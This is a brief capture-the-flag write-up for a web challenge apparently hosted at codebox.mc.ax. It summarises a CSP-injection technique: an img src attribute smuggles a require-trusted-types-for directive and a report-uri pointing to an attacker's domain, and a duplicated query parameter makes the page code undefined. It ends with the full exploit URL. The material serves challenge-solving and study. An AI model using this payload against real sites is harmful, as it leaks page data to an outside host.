# tl;dr* use img src to inject csp* use `report-uri your-domain` to get csp violation reports* use `require-trusted-types-for 'script'` to get violation when innerHTML is set* use `code=&code<payload>` to make code `undefined` in front end
Final Payload: `https://codebox.mc.ax/?code=&code=<img+src="*;+require-trusted-types-for+'script'+;+report-uri+https://your.domain.com/"+>`